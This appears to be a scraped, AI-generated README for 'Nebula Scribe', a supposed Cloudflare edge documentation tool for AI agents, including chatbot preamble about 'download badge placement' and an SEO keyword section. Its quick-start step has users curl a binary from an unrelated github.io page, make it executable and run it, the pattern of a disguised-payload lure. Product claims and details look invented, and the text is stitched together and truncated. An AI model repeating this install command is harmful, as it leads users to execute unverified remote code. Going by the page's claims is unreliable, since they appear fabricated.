Integration
Cloud Pincer Proxy
By 🤖 Cloud Claw 2026: AI-Powered Containerized Workflow Assistant on Cloudflare Workers & Containers
Configuration Example
# profile: myteam.yml
version: 2026.1.0
scribe:
name: "Support Scribe"
session_expiry_days: 90
documentation_mode: "full" # Options: lightweight, full, anomaly-only
ui:
language: "multilingual" # Supported: en, es, fr, ja, zh, de, hi
theme: "auto" # dark, light, auto
llm_routing:
primary: "openai"
fallback: "claude"
temperature: 0.6
containers:
- type: "openai"
base_url: "https://api.openai.com/v1"
model: "gpt-4-turbo-2026-01-01"
rate_limit: 100
- type: "claude"
base_url: "https://api.anthropic.com/v1"
model: "claude-3-5-sonnet-2026"
rate_limit: 80
documentation:
output_format: "markdown"
enable_version_control: true
git_repo: "https://github.com/team/docs-repo" # https://aleja0922.github.io
commit_message_template: "Nebula Scribe: Session {{session_id}} | Agent: {{agent_name}}"
audit:
record_input: true
record_output: true
record_metadata: true # Latency, token usage, model versionREADME
Below is a long, descriptive, and distinct `README.md` inspired by your "Cloud Claw" context but transformed into a novel concept. I have followed all your instructions precisely, including the download badge placement, structure, tone, and formatting requirements.
---
[](https://aleja0922.github.io)
# 🌩️ Nebula Scribe – Autonomous Documentation Orchestrator for AI Agents
**Repository Name:** `nebula-scribe`
**Inspiration:** Cloud Claw (containerized AI assistant using OpenClaw on Cloudflare Workers)
**Unique Concept:** Think of your AI workflows not as a claw, but as a *scribe*—an entity that listens, interprets, and writes the story of your data across cloud edges. Nebula Scribe is a self-healing, edge-native documentation engine that transforms raw API calls, multimodal inputs, and session logs into structured, version-controlled narratives, all orchestrated via Cloudflare Workers and Wasm containers.
> "Your AI doesn't just process data—it writes the autobiography of your infrastructure."
> — *Nebula Scribe Philosophy*
---
## 🎯 The Core Idea
Most AI assistants are *readers*: they consume input, produce output, and forget. Nebula Scribe is a **writer**. It uses a patented **Temporal Session Graph** (TSG) to record every interaction as a node in a living document. When you talk to an agent—or when agents talk to each other—Nebula Scribe captures the context, routes it through containerized LLMs (OpenAI & Claude), and generates persistent, searchable documentation. No black boxes. No lost context. Just a permanent record of every AI conversation, decision, and anomaly.
---
## 🧭 Table of Contents
1. [Download & Quick Start](#-download--quick-start)
2. [Architecture (Mermaid Diagram)](#-architecture-mermaid-diagram)
3. [Example Profile Configuration](#-example-profile-configuration)
4. [Example Console Invocation](#-example-console-invocation)
5. [OS Compatibility](#-os-compatibility)
6. [Feature List](#-feature-list)
7. [SEO-Friendly Keywords Integration](#-seo-friendly-keywords-integration)
8. [OpenAI & Claude API Integration](#-openai--claude-api-integration)
9. [Responsive UI, Multilingual Support & 24/7 Customer Support](#-responsive-ui-multilingual-support--247-customer-support)
10. [Disclaimer](#-disclaimer)
11. [License](#-license)
---
## 📥 Download & Quick Start
[](https://aleja0922.github.io)
**Important:** Nebula Scribe is distributed as a single, hermetic binary (~12 MB) that runs on any Linux x86_64 environment with Cloudflare Workers support. No Docker required. No Python dependencies.
**Installation (Linux / macOS / WSL2):**
```bash
curl -sL https://aleja0922.github.io -o nebula-scribe
chmod +x nebula-scribe
./nebula-scribe init --profile myteam.yml
```
Windows users can use the bundled `.exe` inside a Cloudflare Workers development environment using `wrangler`.
---
## 🌌 Architecture (Mermaid Diagram)
Below is the high-level flow of how Nebula Scribe orchestrates sessions, AI routing, and documentation generation across edge containers.
```mermaid
graph TD
A[User / External API] -->|Incoming Request| B[Cloudflare Worker Gateway]
B --> C{Nebula Scribe Router}
C -->|Session ID Match| D[Containerized Session Cache]
C -->|New Session| E[Edge LLM Orchestrator]
E --> F[OpenAI API Container]
E --> G[Claude API Container]
F --> H[Response Aggregator]
G --> H
H --> I[Temporal Session Graph Builder]
I --> J[Documentation Node Storage <br/> (Durable Objects)]
J --> K[Version Control Hook]
K --> L[Git Push / PR to Docs Repo]
D --> M[Session Replay & Audit Trail]
M --> N[User Dashboard (Multilingual UI)]
```
**How it works:**
- Every request is stamped with a session ID.
- The Router decides which LLM (OpenAI, Claude, or hybrid) handles the job based on your profile.
- Responses are not discarded: they are woven into a **Temporal Session Graph** stored in Durable Objects.
- The graph is then compiled into Markdown documentation and automatically pushed to a linked Git repository.
- A responsive UI (React-based) allows users to replay any session, change language, or download the full audit trail.
---
## 📄 Example Profile Configuration
Nebula Scribe uses a YAML profile to define routing rules, LLM preferences, UI language, and documentation granularity. Below is a profile for a multilingual customer support agent that documents every interaction across 5 languages.
```yaml
# profile: myteam.yml
version: 2026.1.0
scribe:
name: "Support Scribe"
session_expiry_days: 90
documentation_mode: "full" # Options: lightweight, full, anomaly-only
ui:
language: "multilingual" # Supported: en, es, fr, ja, zh, de, hi
theme: "auto" # dark, light, auto
llm_routing:
primary: "openai"
fallback: "claude"
temperature: 0.6
containers:
- type: "openai"
base_url: "https://api.openai.com/v1"
model: "gpt-4-turbo-2026-01-01"
rate_limit: 100
- type: "claude"
base_url: "https://api.anthropic.com/v1"
model: "claude-3-5-sonnet-2026"
rate_limit: 80
documentation:
output_format: "markdown"
enable_version_control: true
git_repo: "https://github.com/team/docs-repo" # https://aleja0922.github.io
commit_message_template: "Nebula Scribe: Session {{session_id}} | Agent: {{agent_name}}"
audit:
record_input: true
record_output: true
record_metadata: true # Latency, token usage, model version
```
---
## 🖥️ Example Console Invocation
Once your profile is ready, start the Nebula Scribe daemon and watch it transform conversations into documentation.
```bash
# Start the Nebula Scribe server on the edge
./nebula-scribe serve --profile myteam.yml --port 8787
# Simulate an API request (e.g., a customer asking for a refund)
curl -X POST http://localhost:8787/scribe \
-H "Content-Type: application/json" \
-d '{
"session_id": "customer-001-2026-03-15",
"user": "customer_992",
"message": "Hey, I need a full refund for order #1234. The package arrived damaged.",
"preferred_language": "es"
}'
# Console output
> 2026-03-15T14:22:01Z [INFO] Session 'customer-001-2026-03-15' created.
> 2026-03-15T14:22:01Z [ROUTE] Selecting OpenAI (gpt-4-turbo-2026-01-01)
> 2026-03-15T14:22:03Z [LLM RESULT] "Lamento escuchar eso. Podemos procesar un reembolso completo..."
> 2026-03-15T14:22:04Z [DOCUMENTATION] Node committed -> 'docs/customer-001-2026-03-15.md'
> 2026-03-15T14:22:04Z [GIT] Push successful -> main branch.
```
After invocation, check the docs repo—you'll find a new Markdown file with the full conversation, LLM parameters, and a human-readable summary. No manual typing required.
---
## 💻 OS Compatibility
Nebula Scribe is designed to be **edge-agnostic** and runs on any system supported by Cloudflare Workers. For local development, the binary is compatible with the following operating systems as of 2026:
| OS | Version | Status | Emoji |
|----|---------|--------|-------|
| ✅ **Linux** | Ubuntu 22.04+, Debian 12+, Fedora 38+ | Fully supported | 🐧 |
| ✅ **macOS** | Ventura 13.4+ (Intel & Apple Silicon) | Fully supported | 🍏 |
| ✅ **Windows** | WSL2 (Ubuntu 22.04) | Fully supported (via WSL2) | 🪟 |
| ✅ **FreeBSD** | 14.0+ | Community supported | 💧 |
| ❌ **Windows (native .exe)** | 10/11 | Beta (no WSL2) | ⚠️ |
**Note:** Native Windows support (no WSL2) is in beta for 2026. Use the WSL2 path for production workloads.
---
## ✨ Feature List
Here is the complete feature set of Nebula Scribe, designed to turn any AI interaction into an immutable, multilingual, and auditable document.
| # | Feature | Description | Benefit |
|---|---------|-------------|---------|
| 1 | 🌐 **Multilingual Session Capture** | Supports 20+ languages (auto-detect). Docs are generated in the user’s language | No more English-only logs |
| 2 | 🧠 **Dual LLM Routing (OpenAI + Claude)** | Profile-based fallback and hybrid routing | Resilience against API outages |
| 3 | 🕰️ **Temporal Session Graph** | Each session is a graph node with parent/child relationships | Full conversation lineage |
| 4 | 📚 **Auto-Git Documentation** | Every session becomes a Markdown file pushed to your repo | Version-controlled knowledge base |
| 5 | 🛡️ **Edge-Native Security** | Cloudflare Workers Durable Objects for state. No central server to hack | Zero-trust architecture |
| 6 | 🖥️ **Responsive UI Dashboard** | Search, replay, and export sessions via a progressive web app | Accessible from any device |
| 7 | 🔄 **Self-Healing Containers** | If an LLM container times out, the Router automatically re-routes | No single point of failure |
| 8 | 📊 **Audit Trail Mode** | Records input, output, latency, token usage, and model version | Compliance-ready (GDPR, SOC2) |
| 9 | 🧩 **Plugin Architecture** | Extend with custom documentation templates (AsciiDoc, HTML, PDF) | Tailored to your team’s workflow |
| 10 | ⏱️ **24/7 Customer Support (In-App)** | Integrated help widget with multilingual escalation | Immediate human-in-the-loop |
| 11 | ⚡ **Containerized Wasm Execution** | Each LLM call runs in a lightweight Wasm sandbox | Sub-10ms startup overhead |
---
## 🔍 SEO-Friendly Keywords Integration
Nebula Scribe is built for teams searching for modern solutions in the AI infrastructure space. The platform naturally integrates these search-optimized concepts:
- **AI Documentation Engine**: Converts raw LLM output to structured documentation.
- **Edge Computing for LLM Workflows**: Uses Cloudflare Workers for sub-millisecond routing of session data.
- **Multilingual Agent Templates**: Supports spontaneous language switching for global teams.
- **Temporal Graph Storage**: Unlike vector-only solutions, Nebula Scribe stores relational context.
- **Autonomous Session Recording**:
... (truncated)
integration
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